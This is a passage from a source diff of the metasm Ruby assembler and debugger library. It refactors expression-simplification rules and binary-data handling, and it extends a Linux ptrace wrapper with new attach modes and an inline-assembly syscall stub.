-        # (a + (b&m)) & m  =>  (a+b) & m
-        Expression[[e.lexpr, e.op, e.rexpr.lexpr], :&, mask].reduce_rec
+  def reduce_op_plus(l, r)
+    if not l; r	# +x  => x
+    elsif r == 0; l	# x+0 => x
+    elsif l == :unknown or r == :unknown; :unknown
+    elsif l.kind_of?(::Numeric)
+      if r.kind_of? Expression and r.op == :+
+        # 1+(x+y) => x+(y+1)
+        Expression[r.lexpr, :+, [r.rexpr, :+, l]].reduce_rec
       else
-        Expression[e, :&, mask]
+        # 1+a => a+1
+        Expression[r, :+, l].reduce_rec
       end
-    when :|
-      # rol/ror composition
-      reduce_rec_composerol e, mask
+      # (a+b)+foo => a+(b+foo)
+    elsif l.kind_of? Expression and l.op == :+; Expression[l.lexpr, :+, [l.rexpr, :+, r]].reduce_rec
+    elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :% and r.op == :% and l.rexpr.kind_of?(::Integer) and l.rexpr == r.rexpr
+      Expression[[l.lexpr, :+, r.lexpr], :%, l.rexpr].reduce_rec
+    elsif l.kind_of? Expression and l.op == :- and not l.lexpr
+      reduce_rec_add_rec(r, l.rexpr)
+    elsif l.kind_of? Expression and r.kind_of? Expression and l.op == :& and r.op == :& and l.rexpr.kind_of?(::Integer) and r.rexpr.kind_of?(::Integer) and l.rexpr & r.rexpr == 0
+      # (a&0xf0)+(b&0x0f) => (a&0xf0)|(b&0x0f)
+      Expression[l, :|, r].reduce_rec
     else
-      Expression[e, :&, mask]
+      reduce_rec_add_rec(r, Expression.new(:-, l, nil))
+    end
+  end
+
+  def reduce_rec_add_rec(cur, neg_l)
+    if neg_l == cur
+      # -l found
+      0
+    elsif cur.kind_of?(Expression) and cur.op == :+
+      # recurse
+      if newl = reduce_rec_add_rec(cur.lexpr, neg_l)
+        Expression[newl, cur.op, cur.rexpr].reduce_rec
+      elsif newr = reduce_rec_add_rec(cur.rexpr, neg_l)
+        Expression[cur.lexpr, cur.op, newr].reduce_rec
+      end
+    end
+  end
+
+  def reduce_op_minus(l, r)
+    if l == :unknown or r == :unknown; :unknown
+    elsif not l and r.kind_of? Expression and (r.op == :- or r.op == :+)
+      if r.op == :- # no lexpr (reduced)
+        # -(-x) => x
+        r.rexpr
+      else # :+ and lexpr (r is reduced)
+        # -(a+b) => (-a)+(-b)
+        Expression.new(:+, Expression.new(:-, r.rexpr, nil), Expression.new(:-, r.lexpr, nil)).reduce_rec
+      end
+    elsif l.kind_of? Expression and l.op == :+ and l.lexpr == r
+      # shortcircuit for a common occurence [citation needed]
+      # (a+b)-a
+      l.rexpr
+    elsif l
+      # a-b => a+(-b)
+      Expression[l, :+, [:-, r]].reduce_rec
+    end
+  end
+
+  def reduce_op_andand(l, r)
+    if l == 0	# shortcircuit eval
+      0
+    elsif l == 1
+      Expression[r, :'!=', 0].reduce_rec
+    elsif r == 0
+      0	# XXX l could be a special ExprType with sideeffects ?
+    end
+  end
+
+  def reduce_op_oror(l, r)
+    if l.kind_of?(::Numeric) and l != 0	# shortcircuit eval
+      1
+    elsif l == 0
+      Expression[r, :'!=', 0].reduce_rec
+    elsif r == 0
+      Expression[l, :'!=', 0].reduce_rec
+    end
+  end
+
+  def reduce_op_shr(l, r)
+    if l == 0; 0
+    elsif r == 0; l
+    elsif l.kind_of? Expression and l.op == :>>
+      Expression[l.lexpr, :>>, [l.rexpr, :+, r]].reduce_rec
+    elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op
+      # (a | b) << i => (a<<i | b<<i)
+      Expression[[l.lexpr, :>>, r], l.op, [l.rexpr, :>>, r]].reduce_rec
+    end
+  end
+
+  def reduce_op_shl(l, r)
+    if l == 0; 0
+    elsif r == 0; l
+    elsif l.kind_of? Expression and l.op == :<<
+      Expression[l.lexpr, :<<, [l.rexpr, :+, r]].reduce_rec
+    elsif l.kind_of? Expression and l.op == :>> and r.kind_of? Integer and l.rexpr.kind_of? Integer
+      # (a >> 1) << 1  ==  a & 0xfffffe
+      if r == l.rexpr
+        Expression[l.lexpr, :&, (-1 << r)].reduce_rec
+      elsif r > l.rexpr
+        Expression[[l.lexpr, :<<, r-l.rexpr], :&, (-1 << r)].reduce_rec
+      else
+        Expression[[l.lexpr, :>>, l.rexpr-r], :&, (-1 << r)].reduce_rec
+      end
+    elsif r.kind_of? Integer and l.kind_of? Expression and [:&, :|, :^].include? l.op
+      # (a | b) << i => (a<<i | b<<i)
+      Expression[[l.lexpr, :<<, r], l.op, [l.rexpr, :<<, r]].reduce_rec
+    end
+  end
+
+  NEG_OP = {:'==' => :'!=', :'!=' => :'==', :< => :>=, :> => :<=, :<= => :>, :>= => :<}
+
+  def reduce_op_not(l, r)
+    if r.kind_of? Expression and nop = NEG_OP[r.op]
+      Expression[r.lexpr, nop, r.rexpr].reduce_rec
+    end
+  end
+
+  def reduce_op_eql(l, r)
+    if l == r; 1
+    elsif r == 0 and l.kind_of? Expression and nop = NEG_OP[l.op]
+      Expression[l.lexpr, nop, l.rexpr].reduce_rec
+    elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op]
+      l
+    elsif r == 0 and l.kind_of? Expression and l.op == :+
+      if l.rexpr.kind_of? Expression and l.rexpr.op == :- and not l.rexpr.lexpr
+        Expression[l.lexpr, :==, l.rexpr.rexpr].reduce_rec
+      elsif l.rexpr.kind_of?(::Integer)
+        Expression[l.lexpr, :==, -l.rexpr].reduce_rec
+      end
+    end
+  end
+
+  def reduce_op_neq(l, r)
+    if l == r; 0
+    end
+  end
+
+  def reduce_op_xor(l, r)
+    if l == :unknown or r == :unknown; :unknown
+    elsif l == 0; r
+    elsif r == 0; l
+    elsif l == r; 0
+    elsif r == 1 and l.kind_of? Expression and NEG_OP[l.op]
+      Expression[nil, :'!', l].reduce_rec
+    elsif l.kind_of?(::Numeric)
+      if r.kind_of? Expression and r.op == :^
+        # 1^(x^y) => x^(y^1)
+        Expression[r.lexpr, :^, [r.rexpr, :^, l]].reduce_rec
+      else
+        # 1^a => a^1
+        Expression[r, :^, l].reduce_rec
+      end
+    elsif l.kind_of? Expression and l.op == :^
+      # (a^b)^c => a^(b^c)
+      Expression[l.lexpr, :^, [l.rexpr, :^, r]].reduce_rec
+    elsif r.kind_of? Expression and r.op == :^
+      if r.rexpr == l
+        # a^(a^b) => b
+        r.lexpr
+      elsif r.lexpr == l
+        # a^(b^a) => b
+        r.rexpr
+      else
+        # a^(b^(c^(a^d)))  =>  b^(a^(c^(a^d)))
+        # XXX ugly..
+        tr = r
+        found = false
+        while not found and tr.kind_of?(Expression) and tr.op == :^
+          found = true if tr.lexpr == l or tr.rexpr == l
+          tr = tr.rexpr
+        end
+        if found
+          Expression[r.lexpr, :^, [l, :^, r.rexpr]].reduce_rec
+        end
+      end
+    elsif l.kind_of?(Expression) and l.op == :& and l.rexpr.kind_of?(::Integer) and (l.rexpr & (l.rexpr+1)) == 0
+      if r.kind_of?(::Integer) and r & l.rexpr == r
+        # (a&0xfff)^12 => (a^12)&0xfff
+        Expression[[l.lexpr, :^, r], :&, l.rexpr].reduce_rec
+      elsif r.kind_of?(Expression) and r.op == :& and r.rexpr.kind_of?(::Integer) and r.rexpr == l.rexpr
+        # (a&0xfff)^(b&0xfff) => (a^b)&0xfff
+        Expression[[l.lexpr, :^, r.lexpr], :&, l.rexpr].reduce_rec
+      end
+    end
+  end
+
+  def reduce_op_and(l, r)
+    if l == 0 or r == 0; 0
+    elsif r == 1 and l.kind_of?(Expression) and [:'==', :'!=', :<, :>, :<=, :>=].include?(l.op)
+      l
+    elsif l == r; l
+    elsif l.kind_of?(Integer); Expression[r, :&, l].reduce_rec
+    elsif l.kind_of?(Expression) and l.op == :&; Expression[l.lexpr, :&, [l.rexpr, :&, r]].reduce_rec
+    elsif l.kind_of?(Expression) and [:|, :^].include?(l.op) and r.kind_of?(Integer) and (l.op == :| or (r & (r+1)) != 0)
+      # (a ^| b) & i => (a&i ^| b&i)
+      Expression[[l.lexpr, :&, r], l.op, [l.rexpr, :&, r]].reduce_rec
+    elsif r.kind_of?(::Integer) and l.kind_of?(Expression) and (r & (r+1)) == 0
+      # foo & 0xffff
+      case l.op
+      when :+, :^
+        if l.lexpr.kind_of?(Expression) and l.lexpr.op == :& and
+          l.lexpr.rexpr.kind_of?(::Integer) and l.lexpr.rexpr & r == r
+          # ((a&m) + b) & m  =>  (a+b) & m
+          Expression[[l.lexpr.lexpr, l.op, l.rexpr], :&, r].reduce_rec
+        elsif l.rexpr.kind_of?(Expression) and l.rexpr.op == :& and
+          l.rexpr.rexpr.kind_of?(::Integer) and l.rexpr.rexpr & r == r
+          # (a + (b&m)) & m  =>  (a+b) & m
+          Expression[[l.lexpr, l.op, l.rexpr.lexpr], :&, r].reduce_rec
+        else
+          Expression[l, :&, r]
+        end
+      when :|
+        # rol/ror composition
+        reduce_rec_composerol l, r
+      else
+        Expression[l, :&, r]
+      end
     end
   end
 
@@ -766,14 +813,14 @@ class Expression < ExpressionType
     m = Expression[['var', :sh_op, 'amt'], :|, ['var', :inv_sh_op, 'inv_amt']]
     if vars = e.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and vars[:sh_op] == {:>> => :<<, :<< => :>>}[vars[:inv_sh_op]] and
        ((vars['amt'].kind_of?(::Integer) and  vars['inv_amt'].kind_of?(::Integer) and ampl = vars['amt'] + vars['inv_amt']) or
-        (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of? ::Integer and
+        (vars['amt'].kind_of? Expression and vars['amt'].op == :% and vars['amt'].rexpr.kind_of?(::Integer) and
          vars['inv_amt'].kind_of? Expression and vars['inv_amt'].op == :% and vars['amt'].rexpr == vars['inv_amt'].rexpr and ampl = vars['amt'].rexpr)) and
        mask == (1<<ampl)-1 and vars['var'].kind_of? Expression and	# it's a rotation
 
        vars['var'].op == :& and vars['var'].rexpr == mask and
       ivars = vars['var'].lexpr.match(m, 'var', :sh_op, 'amt', :inv_sh_op, 'inv_amt') and ivars[:sh_op] == {:>> => :<<, :<< => :>>}[ivars[:inv_sh_op]] and
        ((ivars['amt'].kind_of?(::Integer) and  ivars['inv_amt'].kind_of?(::Integer) and ampl = ivars['amt'] + ivars['inv_amt']) or
-        (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of? ::Integer and
+        (ivars['amt'].kind_of? Expression and ivars['amt'].op == :% and ivars['amt'].rexpr.kind_of?(::Integer) and
          ivars['inv_amt'].kind_of? Expression and ivars['inv_amt'].op == :% and ivars['amt'].rexpr == ivars['inv_amt'].rexpr and ampl = ivars['amt'].rexpr))
       if ivars[:sh_op] != vars[:sh_op]
         # ensure the rotations are the same orientation
@@ -788,6 +835,48 @@ class Expression < ExpressionType
     end
   end
 
+  def reduce_op_or(l, r)
+    if    l == 0; r
+    elsif r == 0; l
+    elsif l == -1 or r == -1; -1
+    elsif l == r; l
+    elsif l.kind_of? Integer; Expression[r, :|, l].reduce_rec
+    elsif l.kind_of? Expression and l.op == :|
+      # (a|b)|c => a|(b|c)
+      Expression[l.lexpr, :|, [l.rexpr, :|, r]].reduce_rec
+    elsif l.kind_of? Expression and l.op == :& and r.kind_of? Expression and r.op == :& and l.lexpr == r.lexpr
+      # (a&b)|(a&c) => a&(b|c)
+      Expression[l.lexpr, :&, [l.rexpr, :|, r.rexpr]].reduce_rec
+    end
+  end
+
+  def reduce_op_times(l, r)
+    if    l == 0 or r == 0; 0
+    elsif l == 1; r
+    elsif r == 1; l
+    elsif r.kind_of? Integer; Expression[r, :*, l].reduce_rec
+    elsif r.kind_of? Expression and r.op == :*; Expression[[l, :*, r.lexpr], :*, r.rexpr].reduce_rec
+    elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :* and r.lexpr.kind_of? Integer; Expression[l*r.lexpr, :*, r.rexpr].reduce_rec	# XXX need & regsize..
+    elsif l.kind_of? Integer and r.kind_of? Expression and r.op == :+ and r.rexpr.kind_of? Integer; Expression[[l, :*, r.lexpr], :+, l*r.rexpr].reduce_rec
+    end
+  end
+
+  def reduce_op_div(l, r)
+    if r == 0
+    elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :+ and l.rexpr.kind_of? Integer and l.rexpr % r == 0
+      Expression[[l.lexpr, :/, r], :+, l.rexpr/r].reduce_rec
+    elsif r.kind_of? Integer and l.kind_of? Expression and l.op == :* and l.lexpr % r == 0
+      Expression[l.lexpr/r, :*, l.rexpr].reduce_rec
+    end
+  end
+
+  def reduce_op_mod(l, r)
+    if r.kind_of?(Integer) and r != 0 and (r & (r-1) == 0)
+      Expression[l, :&, r-1].reduce_rec
+    end
+  end
+
+
   # a pattern-matching method
   # Expression[42, :+, 28].match(Expression['any', :+, 28], 'any') => {'any' => 42}
   # Expression[42, :+, 28].match(Expression['any', :+, 'any'], 'any') => false
@@ -816,24 +905,29 @@ class Expression < ExpressionType
   # returns the array of non-numeric members of the expression
   # if a variables appears 3 times, it will be present 3 times in the returned array
   def externals
-    [@rexpr, @lexpr].inject([]) { |a, e|
+    a = []
+    [@rexpr, @lexpr].each { |e|
       case e
       when ExpressionType; a.concat e.externals
       when nil, ::Numeric; a
       else a << e
       end
     }
+    a
   end
 
   # returns the externals that appears in the expression, does not walk through other ExpressionType
-  def expr_externals
-    [@rexpr, @lexpr].inject([]) { |a, e|
+  def expr_externals(include_exprs=false)
+    a = []
+    [@rexpr, @lexpr].each { |e|
       case e
-      when Expression; a.concat e.expr_externals
-      when nil, ::Numeric, ExpressionType; a
+      when Expression; a.concat e.expr_externals(include_exprs)
+      when nil, ::Numeric; a
+      when ExpressionType; include_exprs ? a << e : a
       else a << e
       end
     }
+    a
   end
 
   def inspect
@@ -843,6 +937,25 @@ class Expression < ExpressionType
   Unknown = self[:unknown]
 end
 
+# An Expression with a custom string representation
+# used to show #define constants, struct offsets, func local vars, etc
+class ExpressionString < ExpressionType
+  attr_accessor :expr, :str, :type, :hide_str
+  def reduce; expr.reduce; end
+  def reduce_rec; expr.reduce_rec; end
+  def bind(*a); expr.bind(*a); end
+  def externals; expr.externals; end
+  def expr_externals; expr.expr_externals; end
+  def match_rec(*a); expr.match_rec(*a); end
+  def initialize(expr, str, type=nil)
+    @expr = Expression[expr]
+    @str = str
+    @type = type
+  end
+  def render_str ; [str] ; end
+  def inspect ; "ExpressionString.new(#{@expr.inspect}, #{str.inspect}, #{type.inspect})" ; end
+end
+
 # an EncodedData relocation, specifies a value to patch in
 class Relocation
   # the relocation value (an Expression)
@@ -855,7 +968,7 @@ class Relocation
   include Backtrace
 
   def initialize(target, type, endianness, backtrace = nil)
-    raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of? ::Symbol or not endianness.kind_of? ::Symbol
+    raise ArgumentError, "bad args #{[target, type, endianness].inspect}" if not target.kind_of? Expression or not type.kind_of?(::Symbol) or not endianness.kind_of?(::Symbol)
     @target, @type, @endianness, @backtrace = target, type, endianness, backtrace
   end
 
@@ -890,7 +1003,11 @@ class EncodedData
   def ptr=(p) @ptr = @export[p] || p end
 
   # opts' keys in :reloc, :export, :virtsize, defaults to empty/empty/data.length
-  def initialize(data = '', opts={})
+  def initialize(data='', opts={})
+    if data.respond_to?(:force_encoding) and data.encoding.name != 'ASCII-8BIT' and data.length > 0
+      puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG
+      data = data.dup.force_encoding('binary')
+    end
     @data     = data
     @reloc    = opts[:reloc]    || {}
     @export   = opts[:export]   || {}
@@ -904,9 +1021,10 @@ class EncodedData
     if set_inv or not @inv_export[off]
       @inv_export[off] = label
     end
+    label
   end
 
-  def del_export(label, off=@ptr)
+  def del_export(label, off=@export[label])
     @export.delete label
     if e = @export.index(off)
       @inv_export[off] = e
@@ -942,6 +1060,7 @@ class EncodedData
   # if numeric, replace the raw data with the encoding of this value (+fill+s preceding data if needed) and remove the reloc
   # if replace_target is true, the reloc target is replaced with its bound counterpart
   def fixup_choice(binding, replace_target)
+    return if binding.empty?
     @reloc.keys.each { |off|
       val = @reloc[off].target.bind(binding).reduce
       if val.kind_of? Integer
@@ -973,13 +1092,15 @@ class EncodedData
       return {} if not key
       base = (@export[key] == 0 ? key : Expression[key, :-, @export[key]])
     end
-    @export.inject({}) { |binding, (n, o)| binding.update n => Expression.new(:+, o, base) }
+    binding = {}
+    @export.each { |n, o| binding.update n => Expression.new(:+, o, base) }
+    binding
   end
 
   # returns an array of variables that needs to be defined for a complete #fixup
   # ie the list of externals for all relocations
-  def reloc_externals
-    @reloc.values.map { |r| r.target.externals }.flatten.uniq - @export.keys
+  def reloc_externals(interns = @export.keys)
+    @reloc.values.map { |r| r.target.externals }.flatten.uniq - interns
   end
 
   # returns the offset where the relocation for target t is to be applied
@@ -1008,7 +1129,7 @@ class EncodedData
   end
 
   # concatenation of another +EncodedData+ (or nil/Fixnum/anything supporting String#<<)
-  def << other
+  def <<(other)
     case other
     when nil
     when ::Fixnum
@@ -1027,8 +1148,8 @@ class EncodedData
           end
           @export[k] = v + @virtsize
         }
-      other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v }
-        end
+        other.inv_export.each { |k, v| @inv_export[@virtsize + k] = v }
+      end
       if @data.empty?; @data = other.data.dup
       elsif not @data.kind_of?(String); @data = @data.to_str << other.data
       else @data << other.data
@@ -1036,6 +1157,10 @@ class EncodedData
       @virtsize += other.virtsize
     else
       fill
+      if other.respond_to?(:force_encoding) and other.encoding.name != 'ASCII-8BIT'
+        puts "Forcing edata.data.encoding = BINARY at", caller if $DEBUG
+        other = other.dup.force_encoding('binary')
+      end
       if @data.empty?; @data = other.dup
       elsif not @data.kind_of?(String); @data = @data.to_str << other
       else @data << other
@@ -1047,7 +1172,7 @@ class EncodedData
   end
 
   # equivalent to dup << other, filters out Integers & nil
-  def + other
+  def +(other)
     raise ArgumentError if not other or other.kind_of?(Integer)
     dup << other
   end
@@ -1092,7 +1217,7 @@ class EncodedData
       val = len
       len = nil
     end
-    if not len and from.kind_of? ::Range
+    if not len and from.kind_of?(::Range)
       b = from.begin
       e = from.end
       b = @export[b] if @export[b]
@@ -1104,14 +1229,14 @@ class EncodedData
       from = b
     end
     from = @export[from] || from
-    raise "invalid offset #{from}" if not from.kind_of? ::Integer
+    raise "invalid offset #{from}" if not from.kind_of?(::Integer)
     from = from + @virtsize if from < 0
 
     if not len
-      val = val.chr if val.kind_of? ::Integer
+      val = val.chr if val.kind_of?(::Integer)
       len = val.length
     end
-    raise "invalid slice length #{len}" if not len.kind_of? ::Integer or len < 0
+    raise "invalid slice length #{len}" if not len.kind_of?(::Integer) or len < 0
 
     if from >= @virtsize
       len = 0
@@ -1170,24 +1295,24 @@ class EncodedData
   def pattern_scan(pat, chunksz=nil, margin=nil)
     chunksz ||= 4*1024*1024 # scan 4MB at a time
     margin  ||= 65536        # add this much bytes at each chunk to find /pat/ over chunk boundaries
-    pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of? ::String
+    pat = Regexp.new(Regexp.escape(pat)) if pat.kind_of?(::String)
 
     found = []
     chunkoff = 0
     while chunkoff < @data.length
       chunk = @data[chunkoff, chunksz+margin].to_str
       off = 0
-      while match_off = (chunk[off..-1] =~ pat)
-        break if off+match_off >= chunksz	# match fully in margin
-        match_addr = chunkoff + off + match_off
+      while match = chunk[off..-1].match(pat)
+        off += match.pre_match.length
+        m_l = match[0].length
+        break if off >= chunksz	# match fully in margin
+        match_addr = chunkoff + off
         found << match_addr if not block_given? or yield(match_addr)
-        off += match_off + 1
-        # XXX +1 or +lastmatch.length ?
-        # 'aaaabc'.pattern_scan(/a*bc/) will match 5 times here
+        off += m_l
       end
       chunkoff += chunksz
     end
-     		found
+    found
   end
 end
 end
diff --git a/lib/metasm/metasm/os/gnu_exports.rb b/lib/metasm/metasm/os/gnu_exports.rb
index 1796c8b776..1fe2762e02 100644
--- a/lib/metasm/metasm/os/gnu_exports.rb
+++ b/lib/metasm/metasm/os/gnu_exports.rb
@@ -258,7 +258,7 @@ libruby1.8.so.1.8
  ruby_current_node ruby_debug ruby_description ruby_digitmap ruby_dln_librefs ruby_dyna_vars ruby_errinfo ruby_eval_tree ruby_eval_tree_begin ruby_frame
  ruby_gc_stress ruby_ignorecase ruby_in_compile ruby_in_eval ruby_inplace_mode ruby_nerrs ruby_patchlevel ruby_platform ruby_release_date ruby_safe_level
  ruby_sandbox_restore ruby_sandbox_save ruby_scope ruby_sourcefile ruby_sourceline ruby_top_cref ruby_top_self ruby_verbose ruby_version ruby_yychar
- ruby_yydebug ruby_yylval
+ ruby_yydebug ruby_yylval rb_float_new_in_heap
 EOL
   curlibname = nil
   data.each_line { |l|
diff --git a/lib/metasm/metasm/os/linux.rb b/lib/metasm/metasm/os/linux.rb
index 4db7c493c5..240b4ed316 100644
--- a/lib/metasm/metasm/os/linux.rb
+++ b/lib/metasm/metasm/os/linux.rb
@@ -5,6 +5,7 @@
 
 
 require 'metasm/os/main'
+require 'metasm/debug'
 
 module Metasm
 class PTrace
@@ -13,9 +14,11 @@ class PTrace
   def self.open(target)
     ptrace = new(target)
     return ptrace if not block_given?
-    ret = yield ptrace
-    ptrace.detach
-    ret
+    begin
+      yield ptrace
+    ensure
+      ptrace.detach
+    end
   end
 
   # calls PTRACE_TRACEME on the current (ruby) process
@@ -28,29 +31,49 @@ class PTrace
   # values for do_attach:
   #  :create => always fork+traceme+exec+wait
   #  :attach => always attach
-  #  false/nil => same as attach, without actually calling PT_ATTACH (usefull if we're already tracing pid)
-  #  anything else: try to attach if pid is numeric (using Integer()), else create
-  def initialize(target, do_attach=true)
-    begin
-      raise ArgumentError if do_attach == :create
+  #  false/nil => same as attach, without actually calling PT_ATTACH (useful when the ruby process is already tracing pid)
+  #  default/anything else: try to attach if pid is numeric, else create
+  def initialize(target, do_attach=true, &b)
+    case do_attach
+    when :create
+      init_create(target, &b)
+    when :attach
+      init_attach(target)
+    when :dup
+      raise ArgumentError unless target.kind_of?(PTrace)
+      @pid = target.pid
+      tweak_for_pid(@pid, target.tgcpu)		# avoid re-parsing /proc/self/exe
+    when nil, false
       @pid = Integer(target)
       tweak_for_pid(@pid)
-      return if not do_attach
-      attach
-    rescue ArgumentError, TypeError
-      raise if do_attach == :attach or not do_attach
-      did_exec = true
-      if not @pid = fork
-        tweak_for_pid(::Process.pid)
-        traceme
-        ::Process.exec(*target)
-        exit!(0)
-      end
+    else
+      t = begin; Integer(target)
+          rescue ArgumentError, TypeError
+          end
+      t ? init_attach(t) : init_create(target, &b)
+    end
+  end
+
+  def init_attach(target)
+    @pid = Integer(target)
+    tweak_for_pid(@pid)
+    attach
+    wait
+    puts "Ptrace: attached to #@pid" if $DEBUG
+  end
+
+  def init_create(target, &b)
+    if not @pid = ::Process.fork
+      tweak_for_pid(::Process.pid)
+      traceme
+      b.call if b
+      ::Process.exec(*target)
+      exit!(0)
     end
     wait
     raise "could not exec #{target}" if $?.exited?
-    tweak_for_pid(@pid) if did_exec
-    puts "Ptrace: attached to #@pid" if $DEBUG
+    tweak_for_pid(@pid)
+    puts "Ptrace: attached to new #@pid" if $DEBUG
   end
 
   def wait
@@ -59,10 +82,14 @@ class PTrace
 
   attr_accessor :reg_off, :intsize, :syscallnr, :syscallreg
   attr_accessor :packint, :packuint, :host_intsize, :host_syscallnr
-  # setup the variables according to the target
-  def tweak_for_pid(pid=@pid)
+  attr_accessor :tgcpu
+  @@sys_ptrace = {}
+
+  # setup variables according to the target (ptrace interface, syscall nrs, ...)
+  def tweak_for_pid(pid=@pid, tgcpu=nil)
     # use these for our syscalls PTRACE
-    case LinOS.open_process(::Process.pid).cpu.shortname
+    @@host_csn ||= LinOS.open_process(::Process.pid).cpu.shortname
+    case @@host_csn
     when 'ia32'
       @packint = 'l'
       @packuint = 'L'
@@ -78,9 +105,9 @@ class PTrace
     else raise 'unsupported architecture'
     end
 
+    @tgcpu = tgcpu || LinOS.open_process(pid).cpu
     # use these to interpret the child state
-    tgcpu = LinOS.open_process(pid).cpu
-    case tgcpu.shortname
+    case @tgcpu.shortname
     when 'ia32'
       @syscallreg = 'ORIG_EAX'
       @syscallnr = SYSCALLNR_I386
@@ -92,13 +119,53 @@ class PTrace
     else raise 'unsupported target architecture'
     end
 
-    cp = tgcpu.new_cparser
-    cp.parse SIGINFO_C
-    @siginfo = cp.alloc_c_struct('siginfo')
-
     # buffer used in ptrace syscalls
     @buf = [0].pack(@packint)
-    @bufptr = str_ptr(@buf)
+
+    @sys_ptrace = @@sys_ptrace[@host_syscallnr['ptrace']] ||= setup_sys_ptrace(@host_syscallnr['ptrace'])
+  end
+
+  def setup_sys_ptrace(sysnr)
+    moo = Class.new(DynLdr)
+    case @@host_csn
+    when 'ia32'
+      # XXX compat lin2.4 ?
+      asm = <<EOS
+#define off 3*4
+push ebx
+push esi
+mov eax, #{sysnr}
+mov ebx, [esp+off]
+mov ecx, [esp+off+4]
+mov edx, [esp+off+8]
+mov esi, [esp+off+12]
+call gs:[10h]
+pop esi
+pop ebx
+ret
+EOS
+    when 'x64'
+      asm = <<EOS
+#define off 3*8
+mov rax, #{sysnr}
+//mov rdi, rdi
+//mov rsi, rdi
+//mov rdx, rdx
+mov r10, rcx
+syscall
+ret
+EOS
+    else raise 'unsupported target architecture'
+    end
+
+    moo.new_func_asm 'long ptrace(unsigned long, unsigned long, unsigned long, unsigned long)', asm
+    moo
+  end
+
+  def host_csn; @@host_csn end
+
+  def dup
+    self.class.new(self, :dup)
   end
 
   def str_ptr(str)
@@ -130,6 +197,7 @@ class PTrace
   end
 
   def writemem(off, str)
+    str.force_encoding('binary') if str.respond_to?(:force_encoding)
     decal = off % @host_intsize
     if decal > 0
       off -= decal
@@ -146,29 +214,30 @@ class PTrace
       pokedata(off+i, str[i, @host_intsize])
       i += @host_intsize
     end
+    true
   end
 
   # linux/ptrace.h
   COMMAND = {
-    'TRACEME'         =>   0, 'PEEKTEXT'        =>   1,
-    'PEEKDATA'        =>   2, 'PEEKUSR'         =>   3,
-    'POKETEXT'        =>   4, 'POKEDATA'        =>   5,
-    'POKEUSR'         =>   6, 'CONT'            =>   7,
-    'KILL'            =>   8, 'SINGLESTEP'      =>   9,
-    'ATTACH'          =>  16, 'DETACH'          =>  17,
-    'SYSCALL'         =>  24,
+    :TRACEME         =>   0, :PEEKTEXT        =>   1,
+    :PEEKDATA        =>   2, :PEEKUSR         =>   3,
+    :POKETEXT        =>   4, :POKEDATA        =>   5,
+    :POKEUSR         =>   6, :CONT            =>   7,
+    :KILL            =>   8, :SINGLESTEP      =>   9,
+    :ATTACH          =>  16, :DETACH          =>  17,
+    :SYSCALL         =>  24,
 
     # arch/x86/include/ptrace-abi.h
-    'GETREGS'         =>  12, 'SETREGS'         =>  13,
-    'GETFPREGS'       =>  14, 'SETFPREGS'       =>  15,
-    'GETFPXREGS'      =>  18, 'SETFPXREGS'      =>  19,
-    'OLDSETOPTIONS'   =>  21, 'GET_THREAD_AREA' =>  25,
-    'SET_THREAD_AREA' =>  26, 'ARCH_PRCTL'      =>  30,
-    'SYSEMU'          =>  31, 'SYSEMU_SINGLESTEP'=> 32,
-    'SINGLEBLOCK'     =>  33,
+    :GETREGS         =>  12, :SETREGS         =>  13,
+    :GETFPREGS       =>  14, :SETFPREGS       =>  15,
+    :GETFPXREGS      =>  18, :SETFPXREGS      =>  19,
+    :OLDSETOPTIONS   =>  21, :GET_THREAD_AREA =>  25,
+    :SET_THREAD_AREA =>  26, :ARCH_PRCTL      =>  30,
+    :SYSEMU          =>  31, :SYSEMU_SINGLESTEP=> 32,
+    :SINGLEBLOCK     =>  33,
     # 0x4200-0x4300 are reserved for architecture-independent additions.
-    'SETOPTIONS'      => 0x4200, 'GETEVENTMSG'   => 0x4201,
-    'GETSIGINFO'      => 0x4202, 'SETSIGINFO'    => 0x4203
+    :SETOPTIONS      => 0x4200, :GETEVENTMSG   => 0x4201,
+    :GETSIGINFO      => 0x4202, :SETSIGINFO    => 0x4203
   }
 
   OPTIONS = {
@@ -176,14 +245,15 @@ class PTrace
     'TRACESYSGOOD'  => 0x01, 'TRACEFORK'     => 0x02,
     'TRACEVFORK'    => 0x04, 'TRACECLONE'    => 0x08,
     'TRACEEXEC'     => 0x10, 'TRACEVFORKDONE'=> 0x20,
-    'TRACEEXIT'     => 0x40
+    'TRACEEXIT'     => 0x40, 'TRACESECCOMP'  => 0x80,
   }
 
   WAIT_EXTENDEDRESULT = {
     # Wait extended result codes for the above trace options.
     'EVENT_FORK'       => 1, 'EVENT_VFORK'      => 2,
     'EVENT_CLONE'      => 3, 'EVENT_EXEC'       => 4,
-    'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT'       => 6
+    'EVENT_VFORK_DONE' => 5, 'EVENT_EXIT'       => 6,
+    'EVENT_SECCOMP'    => 7,
   }
   WAIT_EXTENDEDRESULT.update WAIT_EXTENDEDRESULT.invert
 
@@ -197,8 +267,8 @@ class PTrace
     'EBX' => 0, 'ECX' => 1, 'EDX' => 2, 'ESI' => 3,
     'EDI' => 4, 'EBP' => 5, 'EAX' => 6, 'DS'  => 7,
     'ES'  => 8, 'FS'  => 9, 'GS'  => 10, 'ORIG_EAX' => 11,
-    'EIP' => 12, 'CS'  => 13, 'EFL' => 14, 'UESP'=> 15,
-    'EFLAGS' => 14, 'ESP' => 15,
+    'EIP' => 12, 'CS'  => 13,  'EFL' => 14, 'UESP'=> 15,
+          'EFLAGS' => 14, 'ESP' => 15,
     'SS'  => 16,
     # from ptrace.c in kernel source & asm-i386/user.h
     'DR0' => 63, 'DR1' => 64, 'DR2' => 65, 'DR3' => 66,
@@ -261,10 +331,10 @@ class PTrace
     mknodat  fchownat  futimesat  fstatat64  unlinkat  renameat  linkat  symlinkat  readlinkat  fchmodat
